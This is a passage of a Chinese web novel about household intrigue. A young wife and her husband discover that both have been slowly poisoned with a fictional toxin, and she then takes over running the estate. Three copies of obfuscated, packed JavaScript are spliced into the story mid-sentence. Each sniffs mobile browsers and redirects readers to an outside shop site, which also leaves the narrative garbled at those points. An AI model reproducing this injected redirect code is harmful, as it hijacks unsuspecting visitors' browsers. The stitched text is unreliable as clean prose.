她抱着药碗缓缓低下头,玩笑道:“夫君为何对我这么好?你生得这么美,又对我如此好,我会忍不住动心的!万一到时候两年时间到了,我赖上夫君,你可就甩不脱了!” 顾承宴霎时瞳孔一缩。 他看着叶青漓娇羞的面靥,喉结微动,“甩不脱就甩不脱吧!” 叶青漓一怔,抬头看着他,“夫君说什么?” 顾承宴看着她茫然的双眸,心底忽然涌起一个想法,一个早就埋藏在心底一直没敢开口的想法。 “你既然嫁与我为妻,我便认定了你!如果你愿意……” “公子!大夫找到了!” 叶青漓正听得认真,不知不觉间人已经凑到顾承宴面前。 竹页带着一个大夫匆匆闯进来,发现两人正四目相对,瞬间停下脚步,满脸惊恐。 “我,我是不是不该这个时候过来?” 说着,他推着大夫就要离开。 叶青漓下意识端起药碗喝了一口,瞬间苦得皱起一张脸! 顾承宴则无奈闭上眼睛,“回来!” “先解毒要紧!” “哦!哦!” 这大夫说起来叶青漓也认识,正是上次帮霓裳阁正名的回春堂的贺大夫,是顾承宴特意写信问了宫里的太医后,确认的京城之内最擅解毒的大夫。 顾承宴起身,恭敬开口,“贺大夫,还请帮我夫人看看她中得什么毒?可有解毒之法?” 贺大夫没有开口,而是默默打开药箱,取出脉枕。 叶青漓老实得放上胳膊。 诊脉的时间太漫长,贺大夫让叶青漓换了好几次手,却一个结论都没下,看得几人不由得紧张起来。 在他诊脉期间,采莲回来交代了霓裳阁的现况。 “霓裳阁所有预售都按时交货,城外庄子上规模完善,已经能正常供应霓裳阁日常所需。另招募了二十名工人与霓裳阁签订契约,往后再不会出这次的乱子了!” “嗯。” 叶青漓靠在床头,伸着胳膊,无聊地应了声。 “还有,小姐你猜我今日还看见了什么?” “看见什么?” “霓裳阁对面的茶楼被人买下,也改成胭脂铺子,它的主人竟然是……” “啊,老夫知道了!” 51. 双双中毒 贺大夫激动大喊,瞬间吸引所有人的目光,采莲也忘了自己要说的话,紧张地看着他。 “大夫,您知道什么了?我家小姐身上的毒能解吗?” “能解,能解!” 贺大夫笑呵呵地收回手,“此毒名叫‘莫思’,是一种慢性毒药,能够在人的身体里潜伏十多年之久。身体强健且心绪稳定的人不会受太大影响,但是身子虚弱,或是心情激动,尤其大悲大喜的人,很容易中招!” “中毒之人须得莫思莫虑,心境平和才能安然无虞,否则毒素日渐加深,则性命不保!” “莫思?” 叶青漓抽了抽嘴角。 没想到这世上还有这种无聊的东西!人生在世,谁能保证自己一直不多思多虑?中了这毒还不死的只怕都是神仙! 顾承宴看着叶青漓消瘦几分的脸颊,沉声问道:“该如何解?” “此毒入体后,会潜伏在人体内,随着毒素日渐加深或是患者心绪日渐烦忧,则毒性越大。” “具体分为三个阶段:其一,偶发胸闷气短,多生冷汗,与寻常风寒无异,容易让人忽视;其二,头痛头昏,虚弱无力,偶有吐血,但并不致命,寻常医者或许会诊为操劳过度,气虚体弱;其三,易坠入常人难以接受的梦境或幻觉之中,神思恍惚,昼夜不分,继而神经疲乱,心竭而亡!” 贺大夫说罢,似乎想到什么,悠悠叹了口气,“到了第三个阶段,就是老夫也无能为力啊!” “这么狠毒?” 叶青漓下意识倒吸一口凉气,听贺大夫的话,自己的毒已经到了第二阶段,若是中毒再深几分,也许就回天乏术了! 采莲也是一脸后怕,“幸好小姐还有救!” “是极!”贺大夫也有些高兴,“老夫从前遇上一个中毒颇深的,已经到了第三阶段,拼尽全力也没能解毒。” “这位夫人如今中毒不过一月之久,老夫还是很有把握的!” “一个月?”叶青漓捕捉到一个关键的信息,“您的意思是我被人下毒才一个月?” “不错!” 贺大夫极为自信,“老夫虽解不了那人的毒,后来却费心钻研过许久,你这脉象的确是中毒一月!” 一个月啊! 叶青漓垂下眼眸,厉了神色,一个月前不正是自己烧掉赵氏院子的时候吗? 顾承宴显然也想到了叶青漓所想之事,只不过他比她想得更多。 “若是有妇人孕时被人下了此毒,生产之后元气大伤,可会导致毒性发作?” 叶青漓瞳孔猛缩,不受控制地看向顾承宴。 “这……” 贺大夫默了一瞬,认真道:“得看具体情况,若是那名妇人身体底子本就好,产后细心调养,保持心情畅快,这毒也不算什么!” “若是恰恰相反呢?” “那自然心衰而死啊!” 似是怕自己说得不够详细,贺大夫又道:“‘莫思’本身毒性并不大,但就如千里之堤毁于蚁穴一样,如果一个人本身有点小问题,这个问题就会被‘莫思’慢慢放大,直到身体再也撑不住,人就彻底没了!” “原来是这样……” 顾承宴苦笑着低头,清澈如松雪般的眸中尽是痛苦。 叶青漓担心地看着他,张了张嘴想要说些什么,顾承宴却很快调整好状态,对着叶青漓微微一笑。 “既然贺大夫已经找出我夫人生病缘由,还请尽快为她解毒吧!” “这个自然!” 贺大夫旋即写下解毒的药方,竹页带着他下去煎药。 “小姐身上的毒能解,真是太好了”采莲高兴地欢呼起来,而后忽然皱起眉头,“只是这下毒之人实在可恶,小姐,咱们一定要把他找出来!” 从顾承宴问完大夫那句话后,叶青漓几乎所有注意力都在他身上,看着顾承宴眸中难以驱散的痛苦,叶青漓连忙对着采莲开口。 “对了,你刚才要跟我说什么来着?” 采莲一拍脑袋,“哎呦!奴婢险些忘记了!” “霓裳阁对面的茶楼,被大小姐买下也改成胭脂铺了!馥春斋今日开张许多东西都赠了折扣,抢走我们不少生意!” “叶蕙珠?” 叶青漓心底只一瞬的惊讶,很快接受了这个事实。 百花园忽然毁约时她就意识到莫掌柜定是和别人合作了,否则那么多的违约金,他不会眼都不眨地就交给自己。 她起初只以为是京城哪家同行,没想到竟会是自己这位义姐? 如此说来,前几日霓裳阁的动乱都是叶蕙珠造成的?她抢走自己的供货商,挖走自己的工人,又买下自己对面的茶楼,就是为了和自己抢生意吗? 叶青漓冷笑一声,“你现在就去告诉马娘子,让她小心对面的铺子,一旦对面有什么不正常的动作,及时来报我!” “是!” 将采莲支走后,叶青漓看向一旁安静到没有一丝生气的顾承宴。 五月的暖阳透过窗牖照进屋内,叶青漓能轻易感受到日光的温暖,顾承宴却始终在阴影里,头顶上的祥云玉簪失去光泽,身上的宝蓝色长衫更是显出几分灰白的色感,垂下的眼眸里蕴满难过和悲伤,浑身上下透着一股孤寂悲凉之意。 “夫君……” 顾承宴抬头,露出一个比哭还难看的笑。 “我曾经一直以为母亲是因为难产生下我后身体大伤,所以才在几年后早逝。今日听了贺大夫的话,我才意识到事情可能比我想得要复杂。” “母亲孕时父亲将赵氏带进府中,两人无媒苟合被母亲撞见,她生气怒骂,引发早产,后来虽侥幸活下来,可她每一日都不快乐,加上身体元气大伤,自然心力衰竭。” 顾承宴语气十分平静,平静到有一丝癫狂。 “母亲临终之前,总是做很多的梦。” “她说梦见我长大后一直孤身一人,父亲却被赵氏哄着不让我娶妻,所以一早定下了和叶家的婚事。她还说梦见我被父亲请为世子,遭到赵氏毒手,所以强令要求父亲在我成年之前不准立世子。” 他眸中似有泪光闪过,“我当时只觉得她病得厉害,不曾想她竟是遭人毒手!可恨我身为人子,不仅没有替她报仇,还和仇人同一屋檐下生活了十几年!” “我真是世上最糟糕的儿子!” “当然不是!” 叶青漓走过来,一手按在他肩上。 “纪夫人临终之前做得全都是和你有关的梦,可见她心里念着的都是你,她最希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149684|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望的也一定是你能够快快乐乐,平平安安地长大!” “你如今身体健康,已经是完成她的心愿了!” “中毒一事,她自己尚且不知,你一个小娃娃又从何处知晓呢?” 顾承宴摇头,“我该知道的!” “即便我不知道赵氏做得这些事,也不该因为厌倦了和她争,一个人躲到山上去,叫她白白得了便宜,看了母亲这么多年的笑话!” 顾承宴说着,再也控制不住双手抱头自怨自艾起来。 “是我的错!” “都是我的错……噗!” “夫君!” 顾承宴突然吐出一口血,叶青漓下意识伸手扶住他,吓得几乎失了声。 刹那之间,叶青漓她忽然想起来,刚刚重生时叶蕙珠曾说过,顾承宴是病秧子,短命鬼! 上一世,顾承宴活到了什么时候?她不记得了!总之自己得封诰命之前,已经很久没有听说过顾承宴的消息。 难道说……? “来人!快来人!贺大夫!去找贺大夫!” 一阵慌乱之后,在后院熬药的贺大夫被竹页带了回来,看着吐血的人成了顾承宴,两人都十分震惊。 叶青漓冲到两人面前,满眼焦急,“贺大夫,还请您给看看,我夫君他体内有没有‘莫思’的毒?” 竹页闻言瞪大了眼睛! “这……” 贺大夫哑然片刻,他看了眼气色虚弱的叶青漓,又看了眼唇边挂着血迹的顾承宴,还是秉着医德没有多问。 “把手伸过来。” 这一次诊脉,贺大夫用的时间比给叶青漓看诊时还要多,就在叶青漓冥思苦想上一世顾承宴死在哪一年时,贺大夫终于有了动静。 “哎——!” 他颇为遗憾地长长叹了口气,瞬间将叶青漓的心提到了嗓子眼。 “大夫,我夫君他,没事吧?” “不好说啊!” “什么叫不好说?他只是吐血,还没有做梦啊!” 贺大夫看了眼低头沉默的顾承宴,又叹了口气。 “这位公子的确中了‘莫思’的毒,但情况有些复杂。” “他体内有两股毒素。一股是娘胎里带来的,毒素较浅,隐藏很深,目前还未发作过。另一股,时间较长,应是在八年前开始就被人下毒,直到近期方才停下。” “八年前?!” 叶青漓越发震惊了,八年前顾承宴才十八岁,在白云观里,会是谁给他下的毒? 不过眼下这些都不重要,叶青漓小心翼翼地看着贺大夫,“那他体内的毒还能解吗?” 贺大夫收起脉诊,语气轻松,“也就是你们找上了我,若是找的其他人,恐怕就没这么好的命喽!” 叶青漓闻言终于松了一口气,“多谢贺大夫,不愧是回春堂的镇店大夫!” 贺大夫淡笑一记,“都是虚名罢了!” “虽说你们两个都中了毒,可喜的是,你们中的是一种毒,老夫我写的方子两个都能用。不过你中毒浅他中毒深,以后熬药时,你喝一碗他喝两碗!” 叶青漓期待地看着贺大夫,“要喝多久?” “不久!他中毒深,要喝半年,你中毒浅,喝一个月就好了!” 52. 搬起石头 竹篮打水 临走之前,贺大夫帮叶青漓确定了毒药来源,毒被下在她每日所吃饭食中。 叶青漓并未过多奇怪,只是怀疑起顾承宴的毒。 “我日日在府中吃用,被人下毒是自然。你在白云观上,吃得用得和观里其他道士一样,为何也会中毒?还是八年之久?” 竹页心底也藏着一股怒气! “公子少时我与他寸步不离,时刻警惕旁人陷害,不曾想竟在白云观遭了贼人之手!实在可恶!” 顾承宴听着竹页为他打抱不平,抿了抿唇,“想来这毒是必安下给我的。” “必安?” 顾承宴朝叶青漓点头,艰难开口,“白云观中师兄弟众多,我初到山上处处不习惯,是两年后必安也来到白云观才真正适应。” “我与他年纪相仿,师父也希望我们多多相处,所以我每日都会和他一起做晨课,不曾有一日懈怠。” “当初必安在交代完贩卖试题的细节后曾与我说过一声对不起,我以为他是为牵连白云观一事感到抱歉。” “如今想来,或许他那时已经意识到自己的结局,才会提前与我说抱歉。” 叶青漓道:“如果是必安,一切就说得通了!他从与你认识起给你下毒,直到舞弊一案事发,他自身难保,毒才断了。” 顾承宴落寞得低下头,“我只是想不明白,他为何要对我下毒?” “也许……真正要给你下毒的不是必安!”叶青漓思忖须臾,缓缓开口。 “我在顾国公府中毒,加上中毒时间刚好一个月,我有九成把握可以确认给我下毒之人是赵氏。” “‘莫思’这种毒少见又诡异,没道理人人都能得到。尤其必安还是个一穷二白的小道士,我觉得真正想给你下毒的另有其人!” “必安不过是一枚棋子罢了!” 叶青漓的话像石子一样轻轻敲打在顾承宴心上,其实不必她多说,他已经确信是赵氏给自己下得毒! “这个女人心肠怎么这么狠毒?公子已经去了白云观,她还不放心,竟要下毒害公子?!” 竹页紧紧皱着眉头,眼底满是厌恶,“公子,您可一定不能放过她!” 顾承宴同样眉心紧锁,叶青漓知道他是在怀疑。 顾国公一直与赵氏同心同力,今日他中毒一事,不知有没有顾国公的一份? “哎!贺大夫都说了中毒之人切忌多思多虑,别想那些让人不开心的事了,咱们说点高兴的吧!” “高兴的事?”竹页有些不解,“公子和大少奶奶都中了毒了,还能有什么高兴的事?” 叶青漓勾了勾嘴角,“那自然是搬起石头和竹篮打水这样的趣事了!” “大少奶奶在说什么,我怎么听不懂?” 顾承宴看着叶青漓眼底的精光,眸色渐沉。 * 转眼间,辛氏的肚子已经九个月大了。 身为顾承卓的妻子,赵氏从一开始就对她这一胎充满期待,日日都要亲自看一眼才能放心。 一个月前,赵氏的院子被烧,她改了住处,看望辛氏时便要经过一条长长的廊道。 阳光自廊外照进来,透过廊间枝叶隙影落在赵氏脸上,斑驳陆离。 “今日瞧着慕青的肚子越发大了!”赵氏嘴角盈着喜意。 身后的婆子附和,“是呀。瞧三少奶奶的肚子,和当初夫人怀着承卓公子的时候一样,想来要不了多久,夫人就能抱上孙子了!” “我倒不是那么看重男女,只要是承卓的孩子,我都喜欢!”赵氏这么说着,眼神却不自觉犀利起来,“等将来孩子出生,他就是顾国公府的嫡长孙,看谁还能跟他争!” 身后婆子并不反驳她的前言不搭后语,“是,夫人说得是。” 赵氏得意一笑,走到一处拐角时,忽而停下脚步,转过身来。 “我让你去办的两件事,办得如何了?” 她半张脸隐在阴影里,眸色阴暗如蛇蝎,婆子被这个眼神吓得浑身一激灵,立刻谨慎站好。 “回夫人,该吃的东西已经被吃了。另外,三少奶奶和四少奶奶曾给大少奶奶的铺子添过乱,不过没多久就被摆平了。如今,是叶家的那个在撑着呢!” “叶蕙珠?” “是。” “她那个人能成什么气候?”赵氏语气颇为不屑。 婆子连忙补充,“奴婢听说叶大小姐学着大少奶奶的样子在她的铺子对面也开了家胭脂铺,如今生意做得红火,隐隐有和霓裳阁对打之势。” “叶大小姐身份高于大少奶奶,开个铺子赶又赶不走,骂又不能骂,想来足够让大少奶奶烦心了!” “是吗?” 赵氏眼底终于有了几分满意之色,她转过身去继续往前走,口中念念有词。 “这人啊,就得有自知之明,有些东西不是你的就不是你的,如果生了妄想,只会加快自己的灭亡。” “呵呵,呵呵哈哈哈哈哈……噗!” 赵氏忽然喷出一大口血,鲜艳的红色喷洒在廊侧的墙壁上,带着浓烈腥气,醒目又刺鼻。 “夫人!” 身后丫鬟婆子被这一幕惊呆了,顿了片刻才动作起来,有人上前扶住口中呕血不止的赵氏,有人则脚下蹒跚向外跑去寻找大夫。 一阵心惊肉跳之后,赵氏的情况才得以缓解,只是吐了太多血的她,如今脸色一片惨白,整个人头晕眼花,看不清也听不清。 府内众人得知消息纷纷赶来,顾国公,顾承卓和顾承英是其中最担心的三个人,他们自得到消息后便一直愁眉不展守在房外。 其余众人虽候在此处,却时而抬头看向对方,目光精明,各怀鬼胎。 叶青漓和顾承宴是最后赶到的,两人到时大夫刚好出来。 顾国公还未来得及训斥自己这个姗姗来迟的儿子,便被大夫分去心神。 “大夫……” “大夫……” “大夫……” 视野中突然闯进三张相似的脸,大夫有些不知所措,他顿了片刻才开口道:“夫人身子已无大碍,目前正在休息,若要看望,还是等她醒了之后再说。” 顾承英闻言,悄悄松了口气,可是下一刻,眼泪便不受控制地滚出眼眶。 “娘亲她到底怎么了?她身体一向好好的,今日怎么会,怎么会……” 顾承英不敢说,她来时只是听下人描述都觉得害怕,经过那长廊看见满墙的鲜血时更是心肝都在颤。 她实在不敢想,赵氏吐血之后会发生什么? 顾国公毕竟年长,比几个孩子更有经验,瞧见顾承英害怕到说不出话,他依旧保持镇定。 “我夫人她到底生了什么病?” “这个……”大夫思索片刻,对着顾国公道:“夫人身子骨一向健朗,瞧着不像是身患重疾,今日呕血应当只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162423|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 操劳过度,一时血气凝滞,如今这口血吐出来已经好了大半了。” “那为什么我娘还昏迷着?她明明吐了那么多血,你却说没什么大病,是不是你这大夫医术不行?”顾承卓十分担心赵氏,语气略有些冲。 大夫原本平和的神色略起波澜,对着他冷冷道:“是个人流了这么多血都会晕,何况夫人是从口中呕出,对身体的损伤自然更大!” “诸位若是不相信我的医术,大可再找他人来诊断!” 此人是顾国公府用惯了的大夫,已经替国公府的人看了二十几年的病,深得顾国公信任。 见他生气,顾国公连忙道歉,“卓儿不是这个意思,只是夫人突然出事,一时惊慌失措才口不择言,还请先生见谅。” 那大夫得了道歉,脸色也缓和几分,不过看向顾承卓的眼神还是淡淡的。 “我能理解国公爷的心情,夫人如今身体并无大恙,往后只需多加修养即可。”他顿了顿,又补充道:“是要真的修养,素日忧心操劳的杂事皆不可再拿到她面前来,国公爷可能明白?” 顾国公默了须臾,犹豫开口,“那这府中中馈……” “自然是找别人打理,难道国公爷希望夫人病情雪上加霜吗?” “是,是,我明白。多谢!” 送走大夫后,顾国公打算安排人照顾赵氏,一众儿媳却无一人主动开口。 叶青漓就不必说了,她自己愿意,赵氏也不愿意。 辛氏是赵氏的亲儿媳,奈何此时怀有身孕,正是最需要人照顾的时候,不可能去照顾别人。 余下三个,在顾国公的目光扫过来时下意识低着头。 顾国公见状,忍不住怨怪,“怎么你们都不愿意照顾你们母亲吗?” 无人回答。 场面一时间尴尬起来。 一直担忧不已的顾承英在这时开口,“父亲,让我来吧!” 顾国公见她还算孝顺,终于露出一个宽心的微笑。 “好孩子,那你母亲就交给你了。” “嗯,父亲放心,我一定会好好照顾母亲的!” 安排好赵氏这边的事后,顾国公再次看了眼众人,幽幽开口,“如今夫人生病,顾不上打理府内中馈,可这些事情总得有个人主持大局……” “儿媳愿意效劳!” 不等顾国公把话说完,郑氏已经抢先开了口。 她一发言,于氏也连忙跟上,“儿媳也愿为母亲出一份力。母亲如今病弱,正是需要我们替她分担的时候!” 申氏左右看了眼两人,跟着附和,“愿为父亲母亲分忧。” 就连辛氏也挺着个大肚子,挤到两人面前,“我整日无事可做,正好有时间管理中馈,父亲若是不嫌弃,不如……” “够了!” 顾国公看着方才安静得像鹌鹑一样的几人,现在一个个当仁不让,脸色瞬间黑沉如铁。 “让你们照顾人一个个都不说话,现在有好处倒是站出来了?!” 他凌厉的目光一一扫过几人,尤其落在辛氏身上时,尤为失望。 顾承卓也对辛氏刚才的表现十分不满,悄悄瞪了她一眼。 辛氏自知理亏,低下头没敢再开口。 顾国公在屋内几人身上来回审视,目光最终落在坐在一旁嘴角微勾看好戏的叶青漓身上。 “青漓是嫡长媳,府内中馈理应由她来管!” 53. 新官上任 管理中馈向来是个苦差事,虽然其中有油水可捞,但是与落下的埋怨和付出的劳累不成正比! 叶青漓做过当家主母,自然知道其中辛苦,且顾家家大业大人口众多,人心复杂,她如今还中着毒,不好多思多虑,下意识就要拒绝! “那个,我……” “你不必多说,有我给你做主,没人敢不听你的!” 顾国公立即打断她的话,信誓旦旦为她保证,俨然一副要把这差事架在她身上的模样。 叶青漓见他如此果决,咽下拒绝的意思,转而微笑。 “您误会了,我不是要拒绝。只是我的出身您也知道,未曾和其他几位弟妹一样正经学过管家,管教下人都是用的自己摸索出来的法子。若我管家或许会闹些笑话,到时候府内乱作一团,您可会生我的气?” “自然不会!” 顾国公大手一挥,“你尽管放手去做,其他的有我给你担着!” 叶青漓得了这句话,眼底终于有了一丝笑意。 “如此,那儿媳就全力一试!” 叶青漓接下任命后,笑眯眯看了眼顾承宴,二人目光相对,瞬间明了对方心意。 顾国公安排完赵氏院内的事后,便叫大家都散了,临走之前,顾承宴却忽然走到他身边叫住了他。 不知他与顾国公说了什么,方才还面有颓色的男人瞬间容光焕发,眼里满是惊喜! “这是真的?你真的想好了?” “是。” 顾承宴看着已生华发的顾国公,眸光暗了暗。 方才为赵氏看诊的大夫,当年也为他母亲看过病,他并未看出赵氏中了‘莫思’的毒,却将第二阶段的诊断结果说得一字不差。 若是父亲参与过下毒,此时该不会这般淡然。 “从前是我想左,说话做事都与父亲离心。而今我想明白后,已经与师父请辞,以后回到府中来,再不会回观中了。” “好!好啊!好啊!!!” 顾国公胡子翘起,高兴得连说三个好! 这是他的第一个孩子,也是他五个儿子中最有能力的一个!若不是因为家中的一些误会,他早就应该在朝中有一席之地! 不过如今他改变主意也不算太晚。 “你想做什么,为父都支持你,如今圣上年纪渐大,朝中大小事务渐渐都落在太子身上,你儿时做过伴读,与太子年纪相仿,如此时机正该投效太子!” 顾国公欣慰地拍了拍顾承宴的肩,“等将来你能独挡一面,这国公府为父还是要交到你的手上!” 顾承宴因为顾国公的亲近嘴巴抿成一条直线,却还是重重点头。 两人的对话正好被赵氏屋内的一个婆子听见,等赵氏从失血过多的昏厥中醒过来后,听见婆子的这番回禀,胸腔内又是一股气血翻涌。 她勉强咽下口中腥气,狰狞地看向对方,“你是说,顾承宴打算回来做世子了?” “这,老奴隔着一扇门听得不是很清楚,但是可以确定国公爷确实这么说过!” “啪!” 床头一樽精美的青瓷花瓶瞬间碎裂成渣,赵氏苍白着脸,眼中泛着猩红。 “他休想!!!” “这顾国公府将来都是卓儿的,他顾承宴休想拿着分毫!” “可,国公爷……” “他说的话算个屁?”赵氏冷笑,“他当年还说过要和纪以晴一生一世一双人呢?到最后还不是背叛了她!” “我想要的东西,从来就没有得不到的!” 赵氏眸中泛着阴毒的光,阴测测笑道:“把给老大媳妇的东西也给老大一份,夫妻两个就该同舟共济!” “是。” * 顾国公交代完后不久,叶青漓就拿到了府内的各处对牌钥匙。 第二日,府内的几个管事婆子全都被叫到蔚莲阁听训。 叶青漓稳坐中堂,几个管事婆子站在堂下。 分明叶青漓是主,他们是仆,可是叶青漓却未从他们的脸上看见一丝恭敬之色。 她也不觉生气,就让几人乖乖站在堂下,自己坐在阴凉处,吃着点心,喝着茶。 不到半个时辰的功夫,有人站不住了。 “大少奶奶叫我们过来训话,为何一直没有吩咐?难道只是为了让我们站在这看你吃喝吗?”一个身材圆润的婆子忽然开了口。 有她带头,身后很快有人跟着附和。 “我们知道大少奶奶年纪小,从前也没什么管家经验,不过我们都是夫人用惯的人,平素也知道自己该做什么,大少奶奶若是心里没底,只需照着夫人从前的安排来就是。” “没错,大少奶奶莫要在此耽误时间了,府里还有许多事情等着我们去做呢!” “是呀!” 待几人发完牢骚,叶青漓也刚好喝下最后一口香茶。 她擦了擦嘴角,扭头看向一旁的采莲。 “都记下了吗?” “回大少奶奶,奴婢都记下了!” 几个婆子感到惊奇,“大少奶奶这是在记什么?” 叶青漓捻着手帕,轻巧一笑,“没什么,我只是替婆母记一下需要更换的管事位置。刚才开口说话的几个,一会收拾收拾东西可以走了。” “什么?”第一个开口的婆子瞬间不高兴了,“我们犯了什么错,大少奶奶要把我们赶走?” “往日里我们这些做奴才的,为了国公府尽心尽力,从不懈怠,这些年没有功劳也有苦劳,就连夫人都说我们做得不错!如今夫人病了,大少奶奶才第一日管家,竟然就要赶我们走?” 叶青漓霎时冷了脸,“就凭你现在与我说话的态度!” 今日她特地换上一身端庄的衣服,妆容也调整得更为大气,如今冷下脸来,当真有几分骇人。 虽然年纪小,那双眼睛里的冷厉威严却不容忽视! “你口口声声自己是国公府的奴才,就该认清自己的身份,不要仗着自己资历深,便到我面前耀武扬威,倚老卖老!” 上一世叶青漓最开始与下人相处时,还曾抱有与人为善,做好朋友的想法。 可是后来那些人蹬鼻子上脸的做法彻底让她明白,这里不是她熟悉的世界,她对下人太过友善,在某些人看来只是好欺负。 她言辞犀利,一语中的,那婆子眼神闪烁几下,继续嘴硬。 “老婆子我方才一时嘴快,我并没有要倚老卖老的意思。” “实在是大少奶奶一早把我们都叫来,让我们站了这么久却一句话都不说,我这才开口询问一下。” “询问主子该是你方才那种语气吗?”叶青漓冷笑看着她,“不知道的,还以为你是我的哪位长辈呢?” 那婆子大惊失色,“大少奶奶可别这么说!” “你瞧,你又在命令我!” 叶青漓厉着神色,语气冷然,“我虽不熟悉婆母管家时是什么情形,从顾国公府几十年如一日的安稳来看,应当是很顺利的。” “而今我第一天管家,不过是把你们叫来认个脸熟,你却当着这么多人的面驳我的面子,又是叫苦又是叫累,难道不是在打婆母和我的脸吗?” “何况大夫说婆母生病,是因为操劳过度,我看你口中所谓苦劳也不怎么样吧?要是你们真得办事周到,处处用心,婆母怎么会累得病了?” 叶青漓三句话堵得那婆子哑了声,她张了张嘴,还想说什么,叶青漓却不给她机会。 她低眉看了那婆子一眼,淡淡开口,“人说新官上任三把火,我这火还没烧起来,你倒主动送上门。” “来人,拿了她的身契,发卖了吧!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172925|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “什么?大少奶奶,你不能这样!我可是夫人身边的人!” 叶青漓静静看着她,此刻她才是手握大权的人,府内所有人的卖身契尽在她手中! 那婆子抗拒不已,拗不过采莲已经拿出她的卖身契。 管事莱福在一旁观察许久,见叶青漓铁了心要发卖,立刻笑着应声。 “大少奶奶说得没错!您是主,我们是仆,是她僭越了!你们还愣着干什么,还不快把她带下去!” 府内下人见状不敢拖延,很快上前将人拖走。 转瞬间,蔚莲阁内恢复平静。 明媚的阳光被竹帘花影细碎分隔,越过廊间照在屏风上,随着清风摇摇晃晃。叶青漓就坐在屏风前面,托腮看着一众管事。 眼神落到谁身上,谁就会快速低下头。 就连莱福也一直僵硬得维持微笑,生怕笑容消失自己也就消失了。 如此又过了半个时辰,直到日光照在叶青漓身上,她才开口。 “今日训话就这些,散了吧。” 众人重重松了一口气,各自离开。 叶青漓却扭头问起采莲,“都记清楚了?” 采莲点点头,将自己记录的结果呈上。 “府内管事共有二十三人,其中外院管事十三人,内院婆子十人。分别掌管……”采莲一边说着,一边问道:“方才那婆子被发卖后,管事一职就空了,小姐可想好让谁补上?” “她管什么?” “管的是内院采买。” “叫我们的人补上吧,以后采买东西也方便些。” “是。” 叶青漓表面上是执掌中馈,实则不过是补赵氏的缺,等赵氏身体好起来或是辛氏生产之后,这管家权注定要还到赵氏手里。 叶青漓对此事看得很清楚,所以一开始并不想答应。 不过后来她又改了想法。 虽然自己握不住这管家权,但是给赵氏找点事做还是能办到的。 所以接下来几个月的时间,叶青漓尽心尽力打理顾府内务,并未从中捞获一个铜板,哪怕是顾国公亲自来查账,也说不出一个不好。 但是等赵氏将管家之权拿回去的时候,才会发现,乱了,全乱了! 她辛辛苦苦培养了十多年的班底,被叶青漓打得稀碎。 每个得力的管事或是婆子都会因为马虎眼花,疏忽大意亦或是偷捞油水等各种问题被叶青漓辞退,随后换上叶青漓自己的人,或是一直处在府中有能力却不得重用的人。 这些人能力足够,初得重用拿出自己十二分的精力完成任务,足够叶青漓管家期间的各种调度。 但是到了赵氏手里,被打散的班底和不熟悉的下人,只会加剧‘莫思’对赵氏的侵蚀,叫她日日心躁如焚,却不得解脱! 赵氏知道此事后,气得呕了好几天的血,仍旧咽不下心里这口气,她一把揪起身边人的衣领,面容狰狞又扭曲。 “你不是说毒已经下了?为什么她打理府内这么久,却一直好好的?” “这,奴婢也不清楚,兴许是大少奶奶身体底子好?” “哼!” “她身体好,那个顾承宴身体也好,吃了我这么多年的毒却还活得好好的,不仅没病没灾,还想回府和我的卓儿抢东西,做梦!” 赵氏气得浑身发颤,她嫁进顾家这么多年,图谋的就是顾家的爵位家产,绝不能看着这些东西最后落入顾承宴的手里。 她靠在床头,眸中满是算计。 不知过了多久,忽然开口问道:“陈家的那个走到哪了?” “那边传信,应当就这两天了。” “好!” 赵氏坏笑起来。 “我倒要看看两夫妻中间插进来一个如花似玉的美人,这毒它发不发作?” 54. 表妹驾到一 六月初一,蝉鸣沙沙。 一顶两人抬的小轿停在顾府门前,暖煦微风拂过,吹得轿帘微动,一只白皙细嫩的手缓缓从轿中伸出,搭在丫鬟的手上,牵出一位鹅黄少女。 少女迈步而出,立在正门之下,抬头看着顾国公府的匾额,露出一个志在必得的眼神。 叶青漓自接管顾府中馈手段凌厉,处事果决,办事老道,经验丰富,一众下人无不畏她威严,纷纷拜服在她手腕之下。 陈若茵第一眼见到叶青漓时,亦是这种感觉。 明明是与自己差不多的年纪,叶青漓一身烟紫坐于堂中,大大方方看向自己,窗外蝉鸣不止,堂内茶香四溢,府内下人皆因来了个表姑娘好奇不已,躁动观望。 唯叶青漓波澜不惊,微笑自然。 “这位就是陈家妹妹吧?果然是个美人!” 陈家如赵氏所言和顾国公府沾了一层关系,算半个表亲。因年前的科举舞弊案被牵连,陈若茵的父亲下了狱,家中唯剩她一人。她一介孤女却带着祖产,若不是赵氏的一纸书信及时,早就被吃干抹净。 叶青漓早知道赵氏给顾承宴纳妾不会安什么好心,如今瞧见陈若茵的脸,更是半分意外也无。 